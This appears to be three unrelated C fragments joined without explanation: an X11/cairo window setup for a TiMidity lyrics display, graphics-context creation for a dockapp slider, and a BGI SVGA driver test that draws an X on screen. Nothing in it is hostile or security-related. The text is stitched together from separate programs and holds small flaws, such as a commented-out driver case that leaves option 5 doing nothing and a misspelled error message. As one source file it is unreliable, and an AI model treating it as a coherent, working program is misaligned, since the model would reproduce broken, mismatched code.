static void init_X() { int screenNumber; unsigned long foreground, background; int screen_width, screen_height; Screen *screen; XSizeHints hints; char **argv = NULL; XGCValues gcValues; Colormap colormap; XColor rgb_color, hw_color; Font font; //char *FNAME = "hanzigb24st"; char *FNAME = "-misc-fixed-medium-r-normal--0-0-100-100-c-0-iso10646-1"; display = XOpenDisplay(NULL); if (display == NULL) { fprintf(stderr, "Can't open dsplay\n"); exit(1); } screenNumber = DefaultScreen(display); foreground = BlackPixel(display, screenNumber); background = WhitePixel(display, screenNumber); screen = DefaultScreenOfDisplay(display); screen_width = WidthOfScreen(screen); screen_height = HeightOfScreen(screen); hints.x = (screen_width - WIDTH) / 2; hints.y = (screen_height - HEIGHT) / 2; hints.width = WIDTH; hints.height = HEIGHT; hints.flags = PPosition | PSize; window = XCreateSimpleWindow(display, DefaultRootWindow(display), hints.x, hints.y, WIDTH, HEIGHT, 10, foreground, background); XSetStandardProperties(display, window, "TiMidity", "TiMidity", None, argv, 0, &hints); XMapWindow(display, window); set_font(); surface = cairo_xlib_surface_create(display, window, DefaultVisual(display, 0), WIDTH, HEIGHT); cairo_xlib_surface_set_size(surface, WIDTH, HEIGHT); paint_background(); /* cr = cairo_create(surface); draw_text(g_array_index(lyric_lines.lines, GString *, 0)->str, 0.0, 0.0, 1.0, height_lyric_pixbufs[0]); draw_text(g_array_index(lyric_lines.lines, GString*, 1)->str, 0.0, 0.0, 1.0, height_lyric_pixbufs[0]); cairo_destroy(cr); */ XFlush(display); }
/* Create our GC's to draw colored lines and such */ struct Colors * setGCs(Drawable d) { struct Colors *colors; XGCValues gcv; unsigned long origColor; char dashList[2] = {3, 1}; colors = malloc(sizeof(struct Colors)); if (colors == NULL) return NULL; /* Get the GC-values of the default GC */ XGetGCValues(DADisplay, DAGC, GCForeground | GCBackground | GCGraphicsExposures, &gcv); origColor = gcv.foreground; /* don't send expose events */ gcv.graphics_exposures = False; /* GC for white color */ gcv.foreground = WhitePixel(DADisplay, DefaultScreen(DADisplay)); colors->white = XCreateGC(DADisplay, d, GCForeground | GCGraphicsExposures, &gcv); /* GC for dark blue color */ #if 1 gcv.foreground = DAGetColor("navy"); #else gcv.foreground = 0; #endif colors->black = XCreateGC(DADisplay, d, GCForeground | GCGraphicsExposures, &gcv); /* GC for light borders */ gcv.foreground = DAGetColor("lightGray"); colors->lightGray = XCreateGC(DADisplay, d, GCForeground | GCGraphicsExposures, &gcv); /* GC for dark borders (note re-use of gcv-values) */ gcv.foreground = DAGetColor("#222222"); colors->darkGray = XCreateGC(DADisplay, d, GCForeground | GCGraphicsExposures, &gcv); /* GC for the un-/highlighted colors and dashed line of the slider */ gcv.foreground = origColor; gcv.line_width = 9; gcv.line_style = LineOnOffDash; colors->slider = XCreateGC(DADisplay, d, GCForeground | GCBackground | GCGraphicsExposures | GCLineWidth | GCLineStyle, &gcv); XSetDashes(DADisplay, colors->slider, 1, dashList, 2); /* light slider GC */ gcv.foreground = adjustColor(origColor, +0x40); colors->sliderLight = XCreateGC(DADisplay, d, GCForeground | GCBackground | GCGraphicsExposures | GCLineWidth | GCLineStyle, &gcv); XSetDashes(DADisplay, colors->sliderLight, 1, dashList, 2); /* dark slider GC */ gcv.foreground = adjustColor(origColor, -0x40); colors->sliderDark = XCreateGC(DADisplay, d, GCForeground | GCBackground | GCGraphicsExposures | GCLineWidth | GCLineStyle, &gcv); XSetDashes(DADisplay, colors->sliderDark, 1, dashList, 2); return colors; }
void main() { int Gd = DETECT, Gm; int Drv; char GrErr; /* Find out which driver the user wants */ printf("Which driver would you like to use?\n"); printf(" 0) Svga16\n"); printf(" 1) Svga256\n"); printf(" 2) Svga32k\n"); printf(" 3) Svga64k\n"); printf(" 4) SvgaTC\n"); printf(" 5) SvgaS3\n"); printf(" 6) Tweak256\n"); printf(" 7) Tweak16\n"); printf("\n> "); scanf("%d",&Drv); switch(Drv) { case 0: installuserdriver("Svga16",DetectVGA16); /* If driver is linked with file, remove comments */ /* registerfarbgidriver(Svga16_fdriver); */ break; case 1: installuserdriver("Svga256",DetectVGA256); /* If driver is linked with file, remove comments */ /* registerfarbgidriver(Svga256_fdriver); */ break; case 2: installuserdriver("Svga32k",DetectVGA32k); /* If driver is linked with file, remove comments */ /* registerfarbgidriver(Svga32k_fdriver); */ break; case 3: installuserdriver("Svga64k",DetectVGA64k); /* If driver is linked with file, remove comments */ /* registerfarbgidriver(Svga64k_fdriver); */ break; case 4: installuserdriver("SvgaTC",DetectVGA24bit); /* If driver is linked with file, remove comments */ /* registerfarbgidriver(SvgaTC_fdriver); */ break; /*case 5: installuserdriver("SvgaS3",DetectVGAS3);*/ /* If driver is linked with file, remove comments */ /* registerfarbgidriver(SvgaS3_fdriver); */ break; case 6: installuserdriver("Twk16",DetectTwk16); /* If driver is linked with file, remove comments */ /* registerfarbgidriver(Twk16_fdriver); */ break; case 7: installuserdriver("Twk256",DetectTwk256); /* If driver is linked with file, remove comments */ /* registerfarbgidriver(Twk256_fdriver); */ break; } initgraph(&Gd,&Gm,""); /* Test if mode was initialized successfully */ GrErr = graphresult(); if (GrErr != grOk) { printf("Graphics error: %s\n",grapherrormsg(GrErr)); exit(1); } /* Draw an 'X' on the screen */ setcolor(RealDrawColor(WhitePixel())); line(0,0,getmaxx(),getmaxy()); line(0,getmaxy(),getmaxx(),0); getch(); closegraph(); }